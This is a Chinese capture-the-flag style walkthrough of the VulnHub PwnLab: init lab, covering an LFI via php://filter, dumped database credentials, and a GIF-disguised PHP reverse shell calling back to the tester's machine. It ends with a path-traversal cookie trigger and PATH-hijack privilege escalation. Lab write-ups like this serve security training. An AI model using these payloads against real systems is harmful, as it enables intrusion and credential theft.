18-VulnHub-pwnlab_init

18-VulnHub-PwnLab: init

靶机地址:https://www.vulnhub.com/entry/pwnlab-init,158/

目标:得到root权限&找到flag.txt

作者:尼德霍格007

时间:2021-8-12

注意:此次渗透在VMware虚拟机中演示,kali机IP地址为192.168.21.128。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。

一、信息收集

nmap扫描靶机地址

image-20210812232100268

看到靶机地址是192.168.21.6

扫描靶机开放端口

image-20210812232203581

看到靶机开放了80、111、3306和53200端口

用nikto扫描web中隐藏或配置错误的目录或文件

nikto -h 192.168.21.6

image-20210812232610945

显示config.php可能包含数据库账户和密码,还有登录页面和/images目录等

访问一下web服务

image-20210812232837128

image-20210812232903153

可以看出存在LFI漏洞利用

直接按照意思输出访问即可找到base64值

http://192.168.21.6/?page=php://filter/convert.base64-encode/resource=config

image-20210812233415673

base64解码一下

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+

解出来是

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

得到了数据库的账户和密码,登录

mysql -uroot -pH4u%QJ_H99 -h 192.168.21.6

image-20210812233705983

找到几个账户

image-20210812233848352

密码是base64编码,把密码解码一下,如下

userpass
kentJWzXuBJJNy
mikeSIfdsTEn6I
kaneiSv5Ym2GRo

在web端登陆一下

image-20210812234221336

登陆成功就可以上传文件了

image-20210812234253368

二、获取shell

找个php木马,这是一个反弹shell的木马

GIF89a
<?php
$sock=fsockopen('192.168.21.128',8080);
$descriptorspec=array(
0-->$sock,
1-->$sock,
2-->$sock
);
$process=proc_open('/bin/bash',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

保存为GIF文件并上传

image-20210812234541969

在页面源码中即可看到上传的文件在服务器中的文件名

image-20210812234655673

上传成功,下一步需要触发这个木马。

dirb扫描一下网站目录

image-20210812234905648

发现index有个php文件,有了前面的config.php的经验,我们再来一次

http://192.168.21.6/?page=php://filter/convert.base64-encode/resource=index

image-20210812235132514

解码

PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=

得到

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>

<head>
<title>PwnLab Intranet Image Hosting</title>
</head>

<body>

<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>

</body>
</html>

第6行显示include(“lang/”.$_COOKIE[‘lang’]);意思是使用lang可以打开会话

因为我们使用的反弹式shell,要先开启监听

image-20210812235906444

使用curl工具

curl -v --cookie "lang=../upload/b1a99ebaad4dd28f57517de36e770484.gif" http://192.168.21.6/index.php

因为lang是在index.php中得到的,所以要用它来访问上传的gif

这边即可获取到shell

image-20210812235933407

但是是低权限

先用python获取一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20210813000214407

三、提权

刚才我们的到了3个账户,换个账户

image-20210813000914974

进入kane目录

image-20210813000949945

发现了一个msgmike,是一个文件,执行一下

image-20210813001201078

提示找不到文件/home/mike/msg.txt

在tmp目录下创建一个cat文件,内容是/bin/bash

修改环境变量后让msgmike执行bash -i获得mike的权限

image-20210813001419664

image-20210813001524959

返回kane目录执行msgmike

image-20210813001645103

看到mike用户在mike和kane组中

image-20210813002814455

进入mike用户

image-20210813003122368

有个文件,执行一下

image-20210813003250161

提权成功,查看flag
image-20210813003530858

四、总结

针对PHP伪协议的学习和文件上传漏洞、文件解析漏洞、文件包含漏洞、反弹shell重新回顾了下。整体难度中等。

整体思路如下

靶机 --> 主机端口探测 --> web渗透 --> 文件包含 --> 得到数据库账号密码 --> 在数据库中查到登录账号密码 --> 查看源码 --> 文件上传木马 --> 通过Cookie文件包含 --> 反弹shell --> 切换账户 --> 利用环境变量提权 --> 找到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尼德霍格007

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值